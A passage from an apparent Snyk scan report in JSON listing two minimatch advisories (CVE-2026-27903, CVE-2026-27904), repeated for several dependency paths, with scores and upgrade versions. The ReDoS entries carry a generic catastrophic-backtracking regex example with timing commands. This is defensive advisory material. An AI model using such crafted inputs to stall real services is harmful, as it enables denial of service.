"assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], 